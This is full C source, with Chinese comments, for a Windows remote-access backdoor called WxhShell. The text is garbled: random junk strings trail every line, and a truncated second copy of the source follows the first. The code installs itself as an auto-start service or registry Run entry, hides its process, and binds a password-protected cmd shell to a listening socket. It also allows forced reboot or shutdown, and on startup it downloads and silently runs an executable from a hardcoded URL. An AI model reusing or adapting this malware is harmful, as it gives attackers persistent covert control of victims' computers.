    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iD.p KG  
    if(Boot(SHUTDOWN)) cx[[K.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?T,J+S  
    else { YpgO]\/w  
    closesocket(wsh); E~c>j<'-"<  
    ExitThread(0); WMS~Bk+!  
    } [0D.+("EW  
    break; q'9;  
    } YJ+l \Wb}  
  // 获取shell 7+Er}y>  
  case 's': { LJA uTg  
    CmdShell(wsh); h.\p+Qw.  
    closesocket(wsh); (coaGQ@d  
    ExitThread(0); Yyw9IYB;  
    break; liBFx6\"S  
  } \!"3yd  
  // 退出 `YY07(%  
  case 'x': { mA#;6?6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cSjX/%*!m  
    CloseIt(wsh); cd`P'GDF  
    break; 8_Z"@  
    } 3e>U(ES  
  // 离开 y Ni3@f  
  case 'q': { y7,t "XV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~Rx`:kQ  
    closesocket(wsh); ^A=2#j~H\  
    WSACleanup(); WD5jO9Oai  
    exit(1); : )y3 &I  
    break; &UVqF o  
        } qT01@Bku  
  } ?4#  
  } :;;k+Sw3  
wb%4f6i  
  // 提示信息 0$i\/W+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WpOH1[ 8v  
} ~>Y^?l  
  } %_G '#Bn<  
h7 mk<  
  return; qoZe<jW (  
}  hOYX  
<nK@+4EH"o  
// shell模块句柄 ~.#57g F"  
int CmdShell(SOCKET sock) _bRgr  
{ nkz<t   
STARTUPINFO si; xVrLoAw  
ZeroMemory(&si,sizeof(si)); ]z2x`P^oI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MShcZtN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !=HxL-`j  
PROCESS_INFORMATION ProcessInfo; 3BAQ2S}  
char cmdline[]="cmd"; 7%&e4'SZO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Od~ e*gA8  
  return 0; *q;83\  
} )(rr1^Xer  
^Nt^.xi7  
// 自身启动模式 w4R~0jXy  
int StartFromService(void) ti3S'K0t  
{ }S4+1 U3  
typedef struct =@&>r5W1  
{ s@g _F  
  DWORD ExitStatus; p}JGx^X ~  
  DWORD PebBaseAddress; o?+?@Xb'  
  DWORD AffinityMask; DH bS=Iih  
  DWORD BasePriority; n<F3&2w  
  ULONG UniqueProcessId; It VVI"-  
  ULONG InheritedFromUniqueProcessId; p<&>1}j=  
}   PROCESS_BASIC_INFORMATION; (!?%"e  
3HNm`b8G4m  
PROCNTQSIP NtQueryInformationProcess; 4sfq,shRq  
Pb1.X9*8c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EztuVe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k2.\1}\  
"Z~@"JLb%  
  HANDLE             hProcess; t3*.Bm:^  
  PROCESS_BASIC_INFORMATION pbi; }2^qM^,0  
W e*uZ?+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;kZJnN"y  
  if(NULL == hInst ) return 0; Q(R -8"  
?X\uzu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n]nJ$u1u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )TBm?VMe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l\!`ZhM,  
:GFK |  
  if (!NtQueryInformationProcess) return 0; >>M7#hmt  
P)~olrf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R8YU#D (Q  
  if(!hProcess) return 0; W"\+jHF"  
4QYStDFe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L>lxkq8!Q  
[h>A<O  
  CloseHandle(hProcess); K,+z^{Hvh  
y5?kv-"c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {DE4PE`  
if(hProcess==NULL) return 0; 9j}Q~v\  
Q=Q&\.<  
HMODULE hMod; -Vs;4-B{9  
char procName[255]; =>&~p\Aw  
unsigned long cbNeeded; QyrB"_dm  
*|cs_,3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h A '>  
oW>e.}d!  
  CloseHandle(hProcess); dnM.  
uH7!)LE#  
if(strstr(procName,"services")) return 1; // 以服务启动 Dc 84^>l  
dKevhm)R"  
  return 0; // 注册表启动 5A%Uv*  
} zQ+ %^DT1  
F3 g$b,RMH  
// 主模块 i?V:+0#q\]  
int StartWxhshell(LPSTR lpCmdLine) |O'gT8  
{ yNG|YB;  
  SOCKET wsl; 5 o[E8c 8  
BOOL val=TRUE; Zeq^dV5y77  
  int port=0; \Hq=_}]F  
  struct sockaddr_in door; A'D2uV  
@wVDe\% ,  
  if(wscfg.ws_autoins) Install(); 9lkl-b6xG  
.3SP# mI  
port=atoi(lpCmdLine); ! GtF%V  
-I z,vd  
if(port<=0) port=wscfg.ws_port; TxKNDu  
*ozXilO  
  WSADATA data; }h|HT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .eCUvX`$  
9niffq)h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tiR i_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J/rF4=j%xy  
  door.sin_family = AF_INET; <"S`ZOn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j9}.U \  
  door.sin_port = htons(port); BFqM6_/J  
61sEeM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /N")uuv  
closesocket(wsl); d6zq,x!cI  
return 1; %][zn$aa|  
} 9U@>&3[v  
<W^>:!?w  
  if(listen(wsl,2) == INVALID_SOCKET) { ^e80S^  
closesocket(wsl); j#l1KO^y  
return 1; fF5\\_,  
} "y ;0}9]n1  
  Wxhshell(wsl); jS|jPk|I.  
  WSACleanup(); ,o0[^-b<  
s -F3(mc(  
return 0; -AQ 7Bd  
M(ie1Ju  
} G*-7}7OAs  
BDX>J3h  
// 以NT服务方式启动 UI wTf2B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )   [ L  
{ =A_{U(>  
DWORD   status = 0; 7p {2&YhB  
  DWORD   specificError = 0xfffffff; KPZqPtb;  
,8DjQz0ZPo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xj5MKX{CJT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bE jQMlb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bOr6"nn  
  serviceStatus.dwWin32ExitCode     = 0; hy3?.  
  serviceStatus.dwServiceSpecificExitCode = 0; @y|JIBBRc  
  serviceStatus.dwCheckPoint       = 0;  \Awqr:A&  
  serviceStatus.dwWaitHint       = 0; !$Arc^7r  
j,1cb,}=^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T+:GYab/  
  if (hServiceStatusHandle==0) return; Lp+?5DjLT  
oP:OurX8V  
status = GetLastError(); J$(79gH{  
  if (status!=NO_ERROR) yQFZRDV~  
{ l HZ4N{n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -(E-yC u  
    serviceStatus.dwCheckPoint       = 0; Q.f D3g  
    serviceStatus.dwWaitHint       = 0; +X>Aj=#  
    serviceStatus.dwWin32ExitCode     = status; HzZX=c  
    serviceStatus.dwServiceSpecificExitCode = specificError; WVx^}_FD0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Tr !Gj_  
    return; %.:]4jhk  
  } iP?lP= M  
H$,wg!kY!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mu_'C$zA  
  serviceStatus.dwCheckPoint       = 0; bGi k~  
  serviceStatus.dwWaitHint       = 0; K48 QkZ_gY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h 3p~\%^  
} 8>:u%+ C1c  
rWp+kV[Ec>  
// 处理NT服务事件,比如:启动、停止 :ZXaJ!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7[M@;$  
{ z~jk_|?|?  
switch(fdwControl) &qm:36Y7Xg  
{ Eq5X/Hx  
case SERVICE_CONTROL_STOP: 0}\8,U  
  serviceStatus.dwWin32ExitCode = 0; k[1w] l8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {dvsZJj  
  serviceStatus.dwCheckPoint   = 0; .Txwp?};  
  serviceStatus.dwWaitHint     = 0; X- SR0x  
  { ,(kaC.Em  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J^mm"2  
  } oho~?.F  
  return; WAVEwA`r  
case SERVICE_CONTROL_PAUSE: iv6bXV'N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fBP J8VY  
  break; %;O# y3,  
case SERVICE_CONTROL_CONTINUE: {<2q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^!K 8nW{*  
  break; ,"T[#A~  
case SERVICE_CONTROL_INTERROGATE: 9YwS"~Q =w  
  break; 9|>5;Ej  
}; ;{"uG>#R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bE"J&;|  
} buxyZV@1  
}ct*<zj[~u  
// 标准应用程序主函数 5:l"*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m8&XW2S  
{ SXmh@a"*\  
w M#q [m;  
// 获取操作系统版本 62>/0_m5  
OsIsNt=GetOsVer(); #s-li b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !)uXCg9U  
|d_ rK2  
  // 从命令行安装 |bjLmGb  
  if(strpbrk(lpCmdLine,"iI")) Install(); jHc/ EZB  
}-paGM@'Nd  
  // 下载执行文件 E>qehs,g  
if(wscfg.ws_downexe) { =L}$#Y8?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ky'\t7p u  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jry643K>:;  
} H=5#cPI#(^  
5$ rV0X,O  
if(!OsIsNt) { )auuk<  
// 如果时win9x,隐藏进程并且设置为注册表启动 r A9Rz^;xa  
HideProc(); `O}bPwa{>  
StartWxhshell(lpCmdLine); A>}]=Ii/  
} 5>M@ F0  
else "C [uz&  
  if(StartFromService()) >Y&o2zJy  
  // 以服务方式启动 C,3yu,'  
  StartServiceCtrlDispatcher(DispatchTable); 0mR  
else hin6cac  
  // 普通方式启动 s&qr2'F+z  
  StartWxhshell(lpCmdLine); n0ls a@l  
r#K"d  
return 0; %b`B.A  
} .#ATI<t  
BGVy \F<  
DR#[\RzNI  
\)9R1zp/x  
=========================================== XY`2>7  
K?aUIkVs  
f= l*+QY8f  
_k.gVm  
Zu%oIk  
p=J9N-EM  
" EAjo>GLI  
F`YxH*tO7  
#include <stdio.h> MEn#MT/Cz  
#include <string.h> "n=Ih_J  
#include <windows.h> H0i\#)Xs  
#include <winsock2.h> &;k`3`MC~w  
#include <winsvc.h> >~^##bIb  
#include <urlmon.h> dbLxm!;(  
|qsY0zx  
#pragma comment (lib, "Ws2_32.lib") 7 }sj&  
#pragma comment (lib, "urlmon.lib") kXbdR  
S=~8nr/V  
#define MAX_USER   100 // 最大客户端连接数 8RR6f98FF  
#define BUF_SOCK   200 // sock buffer 1)m&6:!b  
#define KEY_BUFF   255 // 输入 buffer ,W/D0  
T"m(V/L$W  
#define REBOOT     0   // 重启 "A?_)=zZ  
#define SHUTDOWN   1   // 关机 l?%U*~*  
0Ti>PR5M  
#define DEF_PORT   5000 // 监听端口 d\ Z#XzI8  
L~FE;*>7  
#define REG_LEN     16   // 注册表键长度 I:aG(8Bi)H  
#define SVC_LEN     80   // NT服务名长度 -m~[z  
5&r2a}K  
// 从dll定义API OAQ'/{~7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q}["Nww-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RFu]vFff  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2O5yS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1`_i%R^  
4&/-xg87(  
// wxhshell配置信息 :Y[r^=>  
struct WSCFG { s"|N-A=cS  
  int ws_port;         // 监听端口 8Q1){M9 '  
  char ws_passstr[REG_LEN]; // 口令 ?Y~>H 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no I -obfyije  
  char ws_regname[REG_LEN]; // 注册表键名 J)n g,i  
  char ws_svcname[REG_LEN]; // 服务名 &~Q ?k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ud-.R~f{e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #| 8!0]n'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5\tYs=>b<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y o[!q|z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $sO}l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?^&!/,  
!`='K +  
}; z@ A5t4+3  
p$@=N6)I.k  
// default Wxhshell configuration 0p$?-81BJ  
struct WSCFG wscfg={DEF_PORT, Bd"7F{H  
    "xuhuanlingzhe",  N _r*Ig  
    1, (.!q~G  
    "Wxhshell", DD'<zL[  
    "Wxhshell", h{ce+~X  
            "WxhShell Service", U'.>wjO  
    "Wrsky Windows CmdShell Service", -ij1%#tz  
    "Please Input Your Password: ", ?#D@e5Wf  
  1, $Y aL3n  
  "http://www.wrsky.com/wxhshell.exe", V|HSIJ#J  
  "Wxhshell.exe" VkhK2  
    }; n*iaNaU"'  
=OO_TPEZ  
// 消息定义模块 Zml9 ndzT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o<P%|>qX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7qXgHrr0|U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S_2I8G^A  
char *msg_ws_ext="\n\rExit."; |_[mb(<|  
char *msg_ws_end="\n\rQuit."; w6Tb<ja  
char *msg_ws_boot="\n\rReboot..."; ieS5*@^k  
char *msg_ws_poff="\n\rShutdown..."; .#WF'  
char *msg_ws_down="\n\rSave to "; '}4[m>/  
W {dx\+  
char *msg_ws_err="\n\rErr!"; Z{_'V+Q1  
char *msg_ws_ok="\n\rOK!"; Qn%*kU0X  
PLo.q|%  
char ExeFile[MAX_PATH]; [TO:- 8$.  
int nUser = 0; sQihyq6U;  
HANDLE handles[MAX_USER]; //Tr=!TQu  
int OsIsNt; &|E2L1  
&<^@/osi  
SERVICE_STATUS       serviceStatus; x=au.@psBS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KI>7h.t  
^ <|If:|  
// 函数声明 \HK#d1>ox  
int Install(void); $V~%$  
int Uninstall(void); ,$;CII v  
int DownloadFile(char *sURL, SOCKET wsh); 6gR=e+  
int Boot(int flag); *.nqQhW  
void HideProc(void); {8B\-LUR  
int GetOsVer(void); @Qc['V)  
int Wxhshell(SOCKET wsl); wH${q@z_  
void TalkWithClient(void *cs); F~l3?3ZV  
int CmdShell(SOCKET sock); IG9Q~7@  
int StartFromService(void); ?4lAL  
int StartWxhshell(LPSTR lpCmdLine); i*U\~CZjT  
e&0B4wVAQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bgs~1E@8V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @JEr/yy  
mML^kgy\N  
// 数据结构和表定义 SpkVV/  
SERVICE_TABLE_ENTRY DispatchTable[] = %ri4nKGS  
{ BklB3*n  
{wscfg.ws_svcname, NTServiceMain}, E$ngmm[  
{NULL, NULL} g3Xz-  
}; <hK$Cf_  
PO%]Jme  
// 自我安装 I8Zp#'|U  
int Install(void) "BVz5?  
{ n~)Y%xe[U  
  char svExeFile[MAX_PATH]; =V,'f  
  HKEY key; @`_j't,  
  strcpy(svExeFile,ExeFile); N0qC/da1  
H|TzD "2N  
// 如果是win9x系统,修改注册表设为自启动 Bw#ubQJ8}  
if(!OsIsNt) { -91l"sI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3tm z2JIb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .e"jnP~  
  RegCloseKey(key); f<}!A$wd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V.-?aXQ*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OUdeQO?  
  RegCloseKey(key); Qrt8O7&('  
  return 0; R/Y/#X^b  
    } FI/YJ@21  
  } -pD&@Wlwak  
} mhVoz0%1X  
else { I?Zs|A  
{tT`It  
// 如果是NT以上系统,安装为系统服务 52["+1g\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z~,.l  
if (schSCManager!=0) n47=eKd70  
{ !:n),sFv45  
  SC_HANDLE schService = CreateService aEk*-v#{  
  ( 6>L.)V  
  schSCManager, w7Pe< vT  
  wscfg.ws_svcname, y="SzPl  
  wscfg.ws_svcdisp, 8x9kF]=  
  SERVICE_ALL_ACCESS, ,|#>X>^FQQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (En\odbvt  
  SERVICE_AUTO_START, *M|\B|A.  
  SERVICE_ERROR_NORMAL, xk*3,J6BK  
  svExeFile, wqwJpWIe  
  NULL, O7dFz)$  
  NULL, J@GfO\ o  
  NULL, 'iVo,m[yKU  
  NULL, Fkz  
  NULL a`-hLX)~Z  
  ); E?XCL8NC  
  if (schService!=0)  q%k+x)  
  { 9_Re,h  
  CloseServiceHandle(schService); 46zaxcY<!  
  CloseServiceHandle(schSCManager); tRy D@}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NVj J/  
  strcat(svExeFile,wscfg.ws_svcname); E~>6*_?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AIm$in`P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /,Rca1W  
  RegCloseKey(key); Y/S3)o  
  return 0; } x.)gW  
    } +2zuIW.  
  } O8r"M8  
  CloseServiceHandle(schSCManager); $&8h=e~]-  
} GVEWd/:X(  
} u!uDu,y  
.UrYF 0  
return 1; k,7+=.6  
} 5ZA%,pH>Jq  
"k-ov9yK  
// 自我卸载 N}Ks[2  
int Uninstall(void) Uxemlp%%*  
{ ]|N4 #4  
  HKEY key; {F :v$ K  
CjQ"oQw  
if(!OsIsNt) { e_=pspnZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x~;EH6$5'/  
  RegDeleteValue(key,wscfg.ws_regname); ,GX~s5S8  
  RegCloseKey(key); eFSC^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =$8@JF'  
  RegDeleteValue(key,wscfg.ws_regname); ,Us2UEWNv  
  RegCloseKey(key); HqdJdWl#"  
  return 0; {(OIu]:  
  } e5ru:#P.p  
} *>'2$me=  
} cHL]y0>  
else { hRr1#'&  
Y_@"v#,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A$~xG(  
if (schSCManager!=0) =u8D!AxT  
{ fT3*>^Uv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Vi]~dZu7  
  if (schService!=0) y5/6nvH_6  
  { YvruK: I  
  if(DeleteService(schService)!=0) { V+qJrZ ,i  
  CloseServiceHandle(schService); g6g$nY@Jm  
  CloseServiceHandle(schSCManager); hoR=%pC*  
  return 0; 3l%,D: ?  
  } M{xVkXc>  
  CloseServiceHandle(schService); @vQa\|j  
  } GzFE%< 9F  
  CloseServiceHandle(schSCManager); Yu^H*b  
} ufCqvv>'  
} u:k:C  
Mjj}E >&  
return 1; `x} Dk<HF  
} gKN}Of@^1  
`4%;qLxngP  
// 从指定url下载文件 rQEi/  
int DownloadFile(char *sURL, SOCKET wsh) :wU_-{>>2  
{ ESMG<vW&f  
  HRESULT hr; !\0F.*   
char seps[]= "/"; %X9b=%'+  
char *token; *AH^%!kVP  
char *file; n}A?jOSAe  
char myURL[MAX_PATH]; xHB/]Vd-  
char myFILE[MAX_PATH]; o-~~,n\  
nMG rG  
strcpy(myURL,sURL); |rFR8srPG  
  token=strtok(myURL,seps); -2\ZzK0tM  
  while(token!=NULL) 0)AM-/"  
  { BF36V\  
    file=token; HK0::6n{  
  token=strtok(NULL,seps); 's[BK/  
  } t'R':+0Vf  
t<sNc8x  
GetCurrentDirectory(MAX_PATH,myFILE); -\kXH"%  
strcat(myFILE, "\\"); a jQqj.  
strcat(myFILE, file); efjO8J[uk-  
  send(wsh,myFILE,strlen(myFILE),0); .Z=Ce!  
send(wsh,"...",3,0); 8geek$FY x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'Y!pY]Z  
  if(hr==S_OK) 'j,oIqx  
return 0; W|dpFh`  
else o\ngR\>  
return 1; s>|Z7[*  
QqtC`H\  
} ATXF,o1  
z2w;oM$g  
// 系统电源模块 tAqA^f*{  
int Boot(int flag)  {l2N&  
{ f=ac I|w  
  HANDLE hToken; TMJ9~"IO  
  TOKEN_PRIVILEGES tkp; )N(9pnyZH  
LJGJ|P  
  if(OsIsNt) { r C_d$Jv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  hq<5lE^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MO[kr2T  
    tkp.PrivilegeCount = 1; 74K)aA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1^C|k(t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m0A#6=<  
if(flag==REBOOT) { 6b?`:$Cw3)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lhqQ CV  
  return 0; __!m*!sd  
} =fl%8"%N&  
else { -(*nSD9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?6i;)eIOI  
  return 0; |q;Al z{  
} <uZPqi||  
  } .f>,6?   
  else { U98_M)-%&  
if(flag==REBOOT) { E0QPE5_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @(-yrU  
  return 0; =3*Jj`AV  
} |rMq;Rgu?  
else { n)#Lh 7X"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @\)fzubu  
  return 0; 9e~WK720=  
} Z_FNIM0f  
}  c/ _yMN  
-vV'Lw(  
return 1; 3DW3LYo{  
} BCx!0v?9  
`<^*jB@P  
// win9x进程隐藏模块 u_.HPA  
void HideProc(void) ]:&n-&@L  
{ ^'vIOq-1v  
&<Mt=(qY1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '[nmFCG%m*  
  if ( hKernel != NULL ) xO7Yt l  
  { KmQ^?Ad- C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h* s`^W3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x=-0zV  
    FreeLibrary(hKernel); H`-=?t  
  } MiJ6n[iv  
K\P!a@>1  
return; ~:[!Uyp0b  
} Seda}  
Uky9zGa  
// 获取操作系统版本 uEx9-,!  
int GetOsVer(void) -`7$Qu 2  
{ !\;:36B#6  
  OSVERSIONINFO winfo; T C8`JU=wV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R \5Vq$Q  
  GetVersionEx(&winfo); "Sjr_! u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! _{d)J  
  return 1; \jyjQ,v)  
  else =&Xdm(  
  return 0; 0|XKd24BN  
} b`CWp;6Y  
; 0ko@ \Lq  
// 客户端句柄模块 %/T7Z; d  
int Wxhshell(SOCKET wsl) oG_C?(7>  
{ QU T"z'  
  SOCKET wsh; O*G1 QX  
  struct sockaddr_in client; l~J*' m2  
  DWORD myID; IU#x[P!  
5ZK&fKeCF  
  while(nUser<MAX_USER) d~@q%-`lA  
{ dl0FQNz8@B  
  int nSize=sizeof(client); XP-C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ff E#^|  
  if(wsh==INVALID_SOCKET) return 1; LjaGyj>)  
!][F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x<ax9{  
if(handles[nUser]==0) y-B=W]E  
  closesocket(wsh); *C6D3y  
else 81F,Y)x.  
  nUser++; dz%EM8  
  } oNM?y:O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }`o? /!X   
y=aV=qD  
  return 0; K2rzhHfb  
} T8XY fcc*h  
U O<:.6"  
// 关闭 socket 30Drrno7Io  
void CloseIt(SOCKET wsh) r:&|vP  
{ xA h xD|4_  
closesocket(wsh); pQWHG#?7  
nUser--; #NNewzC<*  
ExitThread(0); OBOwz4<  
} T_;]fPajjD  
DlTR|(AL  
// 客户端请求句柄 w? LrJ37u  
void TalkWithClient(void *cs) *:hy Y!x  
{ mfom=-q3k  
Dl C@fZD  
  SOCKET wsh=(SOCKET)cs; ".U^if F  
  char pwd[SVC_LEN]; riCV&0"n  
  char cmd[KEY_BUFF]; WE6\dhJ<  
char chr[1]; }Ln@R~[  
int i,j; ~/-eyxLTm  
-rSIBc:$8  
  while (nUser < MAX_USER) { {f DTSr?/  
vF4]ux&  
if(wscfg.ws_passstr) { 7G9 3,dJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j9R6ta3\l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `tEo]p  
  //ZeroMemory(pwd,KEY_BUFF); md bp8,O  
      i=0; +?m0Q;%b  
  while(i<SVC_LEN) { ]lBGyUJn  
g(hOg~S\E  
  // 设置超时 sL^yB  
  fd_set FdRead; < <Y}~N  
  struct timeval TimeOut; +K~NV?c  
  FD_ZERO(&FdRead); ^,8R,S\} $  
  FD_SET(wsh,&FdRead); Bh]!WMAw.  
  TimeOut.tv_sec=8; 'Ot,H_pE  
  TimeOut.tv_usec=0; @;Opx."  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?j O 5 9n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <l,o&p,>|c  
u0o'K9.r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NwlU%{7W6  
  pwd=chr[0]; -YGbfd<wq  
  if(chr[0]==0xd || chr[0]==0xa) { T:iP="?{  
  pwd=0; _. V?A*  
  break; d 8o53a]  
  } -db75=  
  i++; \3XqHf3|o  
    } > m q,}!n  
x/fX`y|(}*  
  // 如果是非法用户,关闭 socket ;_?MX/w|&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !>$4]FkV  
} uJU*")\V  
,!#ccv+Vm%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q<(YP.k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e Y$qV}  
Uh6 '$0  
while(1) { 1B=>_3_  
,*svtw:2')  
  ZeroMemory(cmd,KEY_BUFF); !Ng=Yk>3  
~P*4V]L^  
      // 自动支持客户端 telnet标准   /t%u"dP"T~  
  j=0; O9M{  ).  
  while(j<KEY_BUFF) { 0s#Kp49-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9N8I ip]w  
  cmd[j]=chr[0]; M8&}j  
  if(chr[0]==0xa || chr[0]==0xd) { MCTsi:V>+  
  cmd[j]=0; \nqkA{;B{  
  break; p0:kz l4$  
  } OO) ~HV4\  
  j++; +IFw_3$  
    } /=?x{(B>  
q2aYEuu,  
  // 下载文件 N)2f7j4C &  
  if(strstr(cmd,"http://")) { XXZaKgsq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IM@tN L  
  if(DownloadFile(cmd,wsh)) ?~e3 &ux  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fwR_OB: $  
  else 7- d.ZG  
